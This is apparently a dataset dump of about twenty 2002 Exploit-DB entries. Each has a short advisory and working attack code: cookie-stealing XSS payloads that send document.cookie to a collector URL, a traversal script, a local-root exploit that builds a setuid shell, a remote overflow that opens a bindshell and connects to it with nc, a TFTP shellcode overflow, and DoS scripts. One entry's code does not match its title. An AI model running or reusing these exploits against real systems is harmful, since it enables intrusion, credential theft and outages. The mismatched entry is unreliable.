QLWD/code_shield huggingface dataset:
标题: phpBB 2.0.3 - 'search.php' Cross-Site Scripting EDB-ID: 22065 CVE: 2002-2255 类型: WEBAPPS 平台: PHP 发布日期: 2002-12-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/6311/info

phpBB is vulnerable to cross site scripting attacks. This is due to insufficient santization of user-supplied input. The problem is located in the search.php script. This issue may be exploited by an attacker to steal a legitimate users cookie-based authentication credentials.

<html>
<body>
<form method="post" name="search"
action="http://target/search.php?mode=searchuser">
<input type="hidden" name="search_username" value=""/>

</form>
<SCRIPT>
search.search_username.value='Http://savecookie/x.php?Cookie="><script>location=search.search_username.value+document.cookie;</script\>';
document.search.submit();
</script>
</body>
</html> URL: https://www.exploit-db.com/exploits/22065
标题: Zeroo HTTP Server 1.5 - Directory Traversal (2) EDB-ID: 22064 CVE: 2002-2416 类型: REMOTE 平台: LINUX 发布日期: 2002-11-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/6308/info
 
It has been reported that Zeroo fails to properly sanitize web requests. By sending a malicious web request to the vulnerable server, using directory traversal sequences, it is possible for a remote attacker to access sensitive resources located outside of the web root.
 
An attacker is able to traverse outside of the established web root by using dot-dot-slash (../) directory traversal sequences. An attacker may be able to obtain any web server readable files from outside of the web root directory.

#!/usr/bin/perl
use IO::Socket;
$pkt = "GET /../../../../../../../../../../../../../../../../../../../../%s
HTTP/1.0\r\n\r\n";
if (@ARGV < 2 || @ARGV > 3) {
print STDOUT "Usage: perl $0 [filename] [host] [port=80]";
exit;
}
if (@ARGV==3) {
$port=$ARGV[2];
} else {
$port=80;
}
$f = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$ARGV[1],PeerPort=>$port);
if (!defined($f)) {
$err=sprintf("Cannot connect to %s on port %d",$ARGV[1],$port);
print STDOUT $err;
exit;
}
$f->autoflush(1);
print $f $pkt;
while (defined($line = <$f>)) {
print STDOUT $line;
}
undef $f; URL: https://www.exploit-db.com/exploits/22064
标题: BizDesign ImageFolio 2.x/3.0.1 - 'nph-build.cgi' Cross-Site Scripting EDB-ID: 22051 CVE: 2002-1334 类型: WEBAPPS 平台: CGI 发布日期: 2002-11-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/6265/info
 
Reportedly, ImageFolio is prone to cross site scripting attacks due to insufficient sanitization of user-supplied input. The vulnerability exists in various cgi scripts included with ImageFolio.
 
As a result, it is possible for a remote attacker to create a malicious link containing script code which will be executed in the browser of a legitimate user, in the context of the website running Bugzilla.
 
This issue may be exploited to steal cookie-based authentication credentials from legitimate users of the website running the vulnerable software.

/cgi-bin/if/admin/nph-build.cgi?step=<script>alert("SecurityHole")</script> URL: https://www.exploit-db.com/exploits/22051
标题: Cyrus IMAPD 1.4/1.5.19/2.0.12/2.0.16/2.1.9/2.1.10 - Pre-Login Heap Corruption EDB-ID: 22061 CVE: 2002-1580 类型: DOS 平台: LINUX 发布日期: 2002-12-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/6298/info

Cyrus IMAPD is a freely available, open source Interactive Mail Access Protocol (IMAP) daemon. It is available for Unix and Linux operating systems.

It has been reported that Cyrus IMAPD does not sufficiently handle overly long strings. In some cases, when a user connects to the daemon, and upon negotiating the connection sends a login string of excessive length, a buffer overflow occurs. This could result in heap corruption and arbitrary words in memory being overwritten. It may be possible to exploit this issue to execute arbitrary code.

perl -e 'print "x login {4294967295}\r\n\xf0\xef\xff\xbf\x90\xef\xff\xbf\xfc\xff\xff\xff\xfc\xff\xff\xff";'|nc localhost imap2
<ctrl-c> URL: https://www.exploit-db.com/exploits/22061
标题: BizDesign ImageFolio 2.x/3.0.1 - 'imageFolio.cgi?direct' Cross-Site Scripting EDB-ID: 22050 CVE: 2002-1334 类型: WEBAPPS 平台: CGI 发布日期: 2002-11-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/6265/info

Reportedly, ImageFolio is prone to cross site scripting attacks due to insufficient sanitization of user-supplied input. The vulnerability exists in various cgi scripts included with ImageFolio.

As a result, it is possible for a remote attacker to create a malicious link containing script code which will be executed in the browser of a legitimate user, in the context of the website running Bugzilla.

This issue may be exploited to steal cookie-based authentication credentials from legitimate users of the website running the vulnerable software.

/cgi-bin/imageFolio.cgi?direct=<script>alert("SecurityHole")</script> URL: https://www.exploit-db.com/exploits/22050
标题: Pserv 2.0 - HTTP Version Specifier Buffer Overflow EDB-ID: 22056 CVE: 2002-2295 类型: DOS 平台: LINUX 发布日期: 2002-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/6285/info

A buffer overflow vulnerability has been reported in Pserv. The buffer overflow condition is due to the way Pserv handles data streams from remote connections. 

An attacker can exploit this vulnerability by issuing a HTTP request with an invalid HTTP version specifier. Due to insufficient buffers being allocated when processing the data, it may be possible to corrupt sensitive memory on the system stack.

GET / HTTP/1.[buffer] URL: https://www.exploit-db.com/exploits/22056
标题: Moby NetSuite 1.0/1.2 - POST Handler Buffer Overflow EDB-ID: 22053 CVE: 2002-2258 类型: DOS 平台: MULTIPLE 发布日期: 2002-11-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/6277/info

A buffer overflow vulnerability has been reported for Moby NetSuite that may result in a denial of service condition. Reportedly, it is possible to cause NetSuite to crash when a malformed POST request is received. 

An attacker can exploit this vulnerability by issuing a malformed POST request. When NetSuite attempts to service the malformed POST request, it will crash resulting in a denial of service. Restarting the service is neccessary to restore functionality.

POST /cgi-bin/test.cgi HTTP/1.0
Content-Length: 111111111111111111111111111 URL: https://www.exploit-db.com/exploits/22053
标题: 3Com SuperStack 3 NBX 4.0/4.1 - FTPD Denial of Service EDB-ID: 22060 CVE: 2002-2300 类型: DOS 平台: HARDWARE 发布日期: 2002-12-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/6297/info

It has been reported that the ftpd server, included in the Embedded Real Time Operating System (ERTOS) of 3Com Superstack 3 NBX IP phones, contains a denial of service vulnerability. This issue can be triggered by sending a CEL paramater of excessive length, effectively causing the ftpd server and various VoIP services to no longer respond.

It should be noted that this issue may be similar to the vulnerability described in BID 679.

Although unconfirmed, it should also be noted that due to the nature of this vulnerability under some circumstances it may be exploited to execute arbitrary code.

CEL aaaa[...]aaaa where string is 2048 bytes long URL: https://www.exploit-db.com/exploits/22060
标题: YaBB 1 Gold SP 1 - 'YaBB.pl' Cross-Site Scripting EDB-ID: 22052 CVE: 2002-2296 类型: WEBAPPS 平台: CGI 发布日期: 2002-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/6272/info

A cross-site scripting vulnerability has been reported in the YaBB forum. This vulnerability is due to insufficient sanitization of URI parameters in some scripts.

As a result, it is possible for a remote attacker to create a malicious link to the login page of a site hosting the web forum. When this link is visited by an unsuspecting web user, the attacker-supplied code will be executed in their browser in the security context of the vulnerable website.

It has been demonstrated that this vulnerability may be exploited to steal cookie-based authentication credentials.

http://www.area51experience.com.ar/foro/YaBB.pl?board=gral;action=display;
num=10360245269<Script>location%3d'Http://url/x.php?Cookie%3d'
%2b(document.cookie)%3b</Script> URL: https://www.exploit-db.com/exploits/22052
标题: News Evolution 1.0/2.0 - Include Undefined Variable Command Execution EDB-ID: 22048 CVE: 2002-2249 类型: WEBAPPS 平台: PHP 发布日期: 2002-11-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/6260/info

News Evolution is a freely available, open source news software package. It is written in PHP, and designed for use on Unix and Linux operating systems.

The problem occurs in the aff_news.php file. By loading this file, and defining the chemin variable to an arbitrary location, commands can be executed on the local host. This vulnerability may also be used to reveal sensitive information on the local host. This same vulnerability also occurs in the export_news.php file.

http://example.com/aff_news.php?chemin=http://example.org/ with

http://example.org/config.php
http://example.org/functions.inc.php
http://example.org/options.inc.php


http://example.com/screen.php?neurl=http://example.org with

http://example.org/admin/cfg/configsql.inc.php
http://example.org/admin/cfg/configscreen.inc.php
http://example.org/admin/cfg/configsite.inc.php
http://example.org/admin/cfg/configtache.inc.php
http://example.org/admin/fonctions/fctscr.php
http://example.org/admin/fonctions/fctadmin.php
http://example.org/admin/fonctions/fctform.php
http://example.org/admin/modules/cache.php URL: https://www.exploit-db.com/exploits/22048
标题: XFree86 X11R6 3.3.x - Font Server Remote Buffer Overrun EDB-ID: 22036 CVE: 2002-1317 类型: REMOTE 平台: UNIX 发布日期: 2002-11-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/6241/info

A remotely exploitable buffer overrun condition has been reported in the XFS font server, fs.auto used by multiple vendors. This vulnerability may be exploited by remote attackers to execute commands on the target host with privileges of user nobody. 

This vulnerability has been reported fixed in XFree86 3.3.6 and later.

#!/usr/bin/perl

# 7350pippi - x86/Linux ipppd local root
#
# (C) COPYRIGHT TESO Security, 2002
# All Rights Reserved
#
# May be used under the terms of the GPL.

# ipppd local root exploit:
# ... 
#    /*
#     * Check if there is a device by this name.
#     */
#    if (stat(cp, &statbuf) < 0) {
#        if (errno == ENOENT)
#            return 0;
#        syslog(LOG_ERR, cp);
#        return -1;
#    }
# ...
# 
# This exploit changes the address of syslog in ipppd's
# GOT. Since it returns -1 as seen above, ipppd will invoke
# syslog() a second time soon this time using the address
# given by us. We redirect the GOT entry to a stacklocation
# where the filename of the executed program is normally
# located. Since we symlink() the shellcode to /usr/sbin/ipppd
# the shellcode goes on the stack AT A FIXED ADDRESS! Thus
# we avoid ugly offsets and guessing/bruteforce.
# If porting this exploits to other systems, you
# need to find syslogs() GOT entry yourself.
#

use Fcntl;

# chown()+chmod() /tmp/boomsh
$shellcode = "\x90"x100 .
"\x31\xc0\xb0\x46\xbb\xff\xff\xff\xff\x31\xc9\xcd\x80\xeb".
"\x2a\x90\x90\x90\x90\x5e\x89\xf3\xff\x03\xff\x43\x04\x31".
"\xc0\x88\x43\x0b\x31\xc0\xb0\xb6\x31\xc9\x31\xd2\xcd\x80".
"\x31\xc0\xb0\x0f\x66\xb9\xed\x0d\xcd\x80\x31\xc0\x40\xcd".
"\x80\xe8\xd5\xff\xff\xff\x2e\x74\x6d\x70\x2e\x62\x6f\x6f".
"\x6d\x73\x68\x2e";

unlink("/tmp/$shellcode");
symlink("/usr/sbin/ipppd", "/tmp/$shellcode") or die "$!";

# my syslog GOT entry @ 0x806c90c

sysopen(O, "/tmp/boomsh.c", O_RDWR|O_CREAT, 0600) or die "$!";
print O<<_EOF_;
#include <stdio.h>
int main()
{
        char *a[] = {"/bin/bash", "--norc", "--noprofile", NULL};

        setuid(0);
        execve(*a, a, NULL);
        return -1;
}
_EOF_
close O;

print "Compiling boomshell ...\n";
system("cc /tmp/boomsh.c -o /tmp/boomsh");

$dir = "/tmp/L";
mkdir($dir);

$ret = 0xbffffffb - length($shellcode)+20;
printf("Filename is located @ %x\n", $ret);


# maybe need to change to your GOT entry
# of syslog(); see above
$file = "XX" .  pack(c4, 0x0c, 0xc9, 0x06, 0x08) . "1234" . # GOT
  pack(c4, 0x0d, 0xc9, 0x06, 0x08) . "1234" . # GOT+1
  pack(c4, 0x0e, 0xc9, 0x06, 0x08) . "1234" . # GOT+2
  pack(c4, 0x0f, 0xc9, 0x06, 0x08);      # GOT+3
  
$stackpop = "%p"x11;
$file .= $stackpop;

#$file .= "%14d%n%69d%n%40d%n%192d%n";

# Should be fixed. If not, find the 4 values for
# %d yourself using gdb. This worked for me.
$file .= "%221d%n%158d%n%256d%n%192d%n";

open(O, ">$dir/$file") or die "$!";
close O;

system("/tmp/$shellcode", "..$dir/$file/");

exec("/tmp/boomsh"); URL: https://www.exploit-db.com/exploits/22036
标题: Mhonarc 2.5.x - Mail Header HTML Injection EDB-ID: 22026 CVE: 2002-1307 类型: REMOTE 平台: LINUX 发布日期: 2002-11-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/6204/info

A HTML injection vulnerability has been discovered in Mhonarc.

An attacker may exploit this issue by sending a specially constructed email containing malicious HTML code in the header section. When the vulnerable Mhonarc client converts the message to HTML, any malicious HTML code will be executed within the context of the displayed web page.

To: <someone@example.com>
From: <hacker@example.com>
Header<SCRIPT>hello</SCRIPT>def: whatever URL: https://www.exploit-db.com/exploits/22026
标题: TFTPD32 2.50 - Arbitrary File Download/Upload EDB-ID: 22024 CVE: 2002-2353 类型: REMOTE 平台: WINDOWS 发布日期: 2002-11-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/6198/info

A vulnerability has been discovered in Tftpd32 which allows a remote attacker to download and upload arbitrary system files. The ability to upload system files may allow an attacker to replaced key system files with trojaned copies, used to open backdoors into a target system. 

tftp host GET /boot.ini
tftp host PUT myfile /boot.ini URL: https://www.exploit-db.com/exploits/22024
标题: Lonerunner Zeroo HTTP Server 1.5 - Remote Buffer Overflow EDB-ID: 22021 CVE: 2002-1823 类型: REMOTE 平台: LINUX 发布日期: 2002-11-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/6190/info

Zeroo HTTP server is a freely available, open source web server. It is available for the Linux and Microsoft Windows platforms.

It has been reported that Zeroo HTTP server does not sufficiently check bounds on some requests. This occurs when a string of excessive length is received by the server. This can result in the overwriting of stack memory, and potential code execution. 

#!/bin/sh
#
# 0x82-Zer00.sh Zeroo HTTP Server Remote root exploit for Linux
#
# __
# exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
# My World: http://x82.i21c.net
#
(printf "\n 0x82-Zer00.sh Zeroo HTTP Server Remote root exploit");
(printf "\n                                by x82 in INetCop(c)\n\n");
#
if [ "$2" = "" ]; then
(printf " Usage: 0x82-Zer00.sh [hostname] [port]\n\n");
exit; fi
#
cat >0x82-Remote-Zeroosubugxpl.c<< X82X82
#define Xpl017Elz x82
int main(/* args? */) {
    int num;
    char b1ndsh[] = /* Linux(x86) bindshell on port 3879 */
        "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
        "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
        "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
        "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
        "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
        "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
        "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
        "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
    for(num=0;num<0xa4;num+=4)
        printf("\xc0\xf4\xff\xbf"); // this's &shellcode
    for(num=0;num<0x02a8-strlen(b1ndsh);num++)
        printf("N"); /* nop...NNNNNNNNNNNNN...NNNNNNNNNNNNN;;; */
    printf("%s",b1ndsh); /* shellcode */
    for(num=0;num<0xb4;num++)
    printf("\xff"); /* byteother */
    printf("\r\n");
}
X82X82
#
(printf " { 0x00. Compile exploit. }\n");
make 0x82-Remote-Zeroosubugxpl
(printf " { 0x01. Send code ! }\n");
(./0x82-Remote-Zeroosubugxpl;cat)|nc $1 $2 &
(printf " { 0x02. OK, Try $1:3879 ... }\n");
nc $1 3879
(printf " { 0x03. Connection closed. }\n");
#
(printf " { 0x04. Delete exploit code. }\n");
rm -f 0x82-Remote-Zeroosubugxpl*
(printf " { 0x05. End :-}\n\n");
# URL: https://www.exploit-db.com/exploits/22021
标题: Perception LiteServe 2.0 - CGI Source Disclosure EDB-ID: 22020 CVE: 2002-1986 类型: REMOTE 平台: MULTIPLE 发布日期: 2002-11-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/6188/info

By constructing a malicious web request, it is possible for a remote attacker to disclose the source code of CGI scripts. Information gained through exploiting this issue may aid an attacker in launching further attacks against the target system.

#!/usr/bin/perl
#
# LS_FETCH.PL
# By Matthew Murphy
# LiteServe 2.02 and prior - CGI Disclosure
# Usage: perl ls_fetch.pl [filename] [host] [alias] [port]
use IO::Socket;
use URI::Escape;

$alias = "cgi-isapi"; # Default LiteServe CGI alias
$port = 80;
if (@ARGV < 2 || @ARGV > 4) {
print STDOUT "Usage: perl $0 [filename] [host] [alias=cgi-isapi] [port=80]
} else {
if (@ARGV >= 3) {
$alias = $ARGV[2];
}
if (@ARGV == 4) {
$port = $ARGV[3];
}
$filename = $ARGV[1];
$host = $ARGV[2];
$f = IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$port,Proto=>"tcp");
$f->autoflush(1);
$b = sprintf("GET /%s/%s. HTTP/1.0\r\n\r\n", $alias, uri_escape($file));
print $f $b;
while (defined($line=<$f>)) {
print STDOUT $line;
}
undef $f;
} URL: https://www.exploit-db.com/exploits/22020
标题: TFTPD32 2.50 - 'Filename' Remote Buffer Overflow EDB-ID: 22025 CVE: 2002-2226 类型: REMOTE 平台: WINDOWS 发布日期: 2002-11-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/6199/info

A buffer-overflow vulnerability has been reported for Tftpd32. The vulnerability is due to insufficient checks on user-supplied input. 

A remote attacker can exploit this vulnerability by supplying a long string as a name of the file to retrieve. This will trigger the buffer-overflow condition. Any malicious attacker-supplied code will be executed with the privileges of the Tftpd32 process.

#!/usr/bin/perl
#TFTP Server remote Buffer Overflow
use IO::Socket;
$host = "192.168.1.53";
$port = "69";
$data = "A";

#$buf .= "\x00\x02"; # Send ---- Choose one
$buf .= "\x00\x01"; # Recieve

$buf .= "A";
$num = "116";
$buf .= $data x $num;
$buf .= ".";
$num = "140"; # EIP section
$buf .= $data x $num;

$address = "\xFF\xFF\xFF\xFF";
$buf .= $address;

$egg = "\xEB\x27\x8B\x34\x24\x33\xC9\x33\xD2\xB2";
$egg .= "\x0B\x03\xF2\x88\x0E\x2B\xF2\xB8\xAF\xA7";
$egg .= "\xE6\x77\xB1\x05\xB2\x04\x2B\xE2\x89\x0C";
$egg .= "\x24\x2B\xE2\x89\x34\x24\xFF\xD0\x90\xEB";
$egg .= "\xFD\xE8\xD4\xFF\xFF\xFF";
$egg .= "notepad.exe";

$egg .= "\x90\x90\x90\x90\x90\x90";
$buf .= $egg;

$buf .= "\x00binary\x00";

$socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error:
$@\n";
$ipaddr = inet_aton($host) || $host;
$portaddr = sockaddr_in($port, $ipaddr);
send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send:
$!\n";
print "Now, '$host' should open up a notepad\n"; URL: https://www.exploit-db.com/exploits/22025
标题: Rational ClearCase 4.1 - Portscan Denial of Service EDB-ID: 22031 CVE: 2002-1322 类型: DOS 平台: UNIX 发布日期: 2002-11-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/6228/info

Rational ClearCase has been reported to be prone to a denial of service condition. It is possible to cause this condition by portscanning a system running the vulnerable version of ClearCase. This issue was demonstrated using the nmap portscanning utility.

An attacker can exploit this vulnerability by making two consecutive portscans of a vulnerable system. This will cause ClearCase to crash. Restarting the ClearCase service is required to restore functionality.

nmap -vvv -O -sT ip.of.clearcase.system
nmap -vvv -O -sT -p 371 ip.of.clearcase.system URL: https://www.exploit-db.com/exploits/22031
标题: Microsoft Java Virtual Machine 3802 Series - Bytecode Verifier EDB-ID: 22027 CVE: 2003-0111 类型: REMOTE 平台: WINDOWS 发布日期: 2002-11-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/6221/info

The Microsoft Java virtual machine implementation contains a vulnerability that may allow for malicious Java applets to escape the security sandbox.

An applet constructed at the bytecode-level may be able to perform some illegal operations. If these operations are performed, it may be possible to escape the security constraints placed on the applet by the JVM.

Code execution with the privileges of the victim user may be possible.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22027-1.tar.gz

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22027-2.tar.gz

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22027-3.tar.gz URL: https://www.exploit-db.com/exploits/22027
标题: Symantec Java! JustInTime Compiler 210.65 - Command Execution EDB-ID: 22028 CVE: 2002-2281 类型: REMOTE 平台: WINDOWS 发布日期: 2002-11-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/6222/info

A vulnerability has been discovered in the Java! JustInTime compiled used by Netscape Communicator, related to the generation of Intel instructions from specially constructed Java bytecode.

If a malicous applet is compiled by the vulnerable compiler, it may be possible to redirect program flow to point to attacker-controlled memory.

Successful execution of attacker-supplied instructions may result in arbitrary system commands being executed outside of the Java sandbox, with privileges of the JVM process.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22028.tar.gz URL: https://www.exploit-db.com/exploits/22028
标题: MailEnable 1.501x - Email Server Buffer Overflow EDB-ID: 22023 CVE: 2002-2357 类型: REMOTE 平台: WINDOWS 发布日期: 2002-11-18 漏洞利用脚本: // source: https://www.securityfocus.com/bid/6197/info

A buffer overflow vulnerability has been reported for MailEnable's POP3 server. The vulnerability is due to insufficent bounds checking of the USER login field.

An attacker can exploit this vulnerability by connecting to a vulnerable MailEnable server and sending an overly long string as the value for the USER login prompt. This will trigger the buffer overflow condition. 

/*
*
* Written by redsand
* <redsand@redsand.net>
* Vuln. date found: November 18. 2002
* Vulnerable: Windows 9x/NT/XP MailEnable POP Server Version 1.02
*
* Usage: ./mailenable-dos.1.3 <host> [port] [port] is optional. default is in the #define (port 110)
* Need to Enable [offset] in final release.
*
* Proof of Concept code (PoC)
*
*/


#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define PORT 110

char string[2010];
char death[2500];
char top[5], end[50];
char tag[] = "::redsand.net::";

int main(int argc, char *argv[]) {

  int sockfd, port, i;
  char buf[2500];
  struct hostent *ha;
  struct sockaddr_in sa;
  if (argc < 2 ) {
printf("MailEnable POP Server Version 1.02 DoS\n:: redsand <at> redsand.net\r\nUsage: %s <host> <port>\n", argv[0]);
    exit(0);
  }
if (argv[2]) {
port = atoi(argv[2]);
} else { port = PORT; }
for( i = 0; i <2009; i++) {
string[i] = 'A';
}

strcpy(top,"USER ");
strcpy(end,tag);
strcpy(death,top);
strcat(death,string);
strcat(death,end);

  if (!(ha = gethostbyname (argv[1])))
    perror ("gethostbyname");

  bzero (&sa, sizeof (sa));
  bcopy (ha->h_addr, (char *) &sa.sin_addr, ha->h_length);
  sa.sin_family = ha->h_addrtype;
  sa.sin_port = htons (port);

  if ((sockfd = socket (ha->h_addrtype, SOCK_STREAM, 0)) < 0) {
    perror ("socket");
    exit (1);
  }
 printf("MailEnable :: redsand <at> redsand.net\r\n+ connecting...\n");
  if (connect (sockfd, (struct sockaddr *) &sa, sizeof(sa)) < 0) {
    perror ("connect");
    exit (1);
  }
  printf("+ connected\n+ sending request to pop3 server\n");
  send(sockfd, death, sizeof(death), 0);
  // read(sockfd, buf, 2050, 0);
    close(sockfd);
  printf("+ finished\n");
  printf("\r\rIf exploit worked, then it should bind port on 3879\n");
}

/* redsand.net */ URL: https://www.exploit-db.com/exploits/22023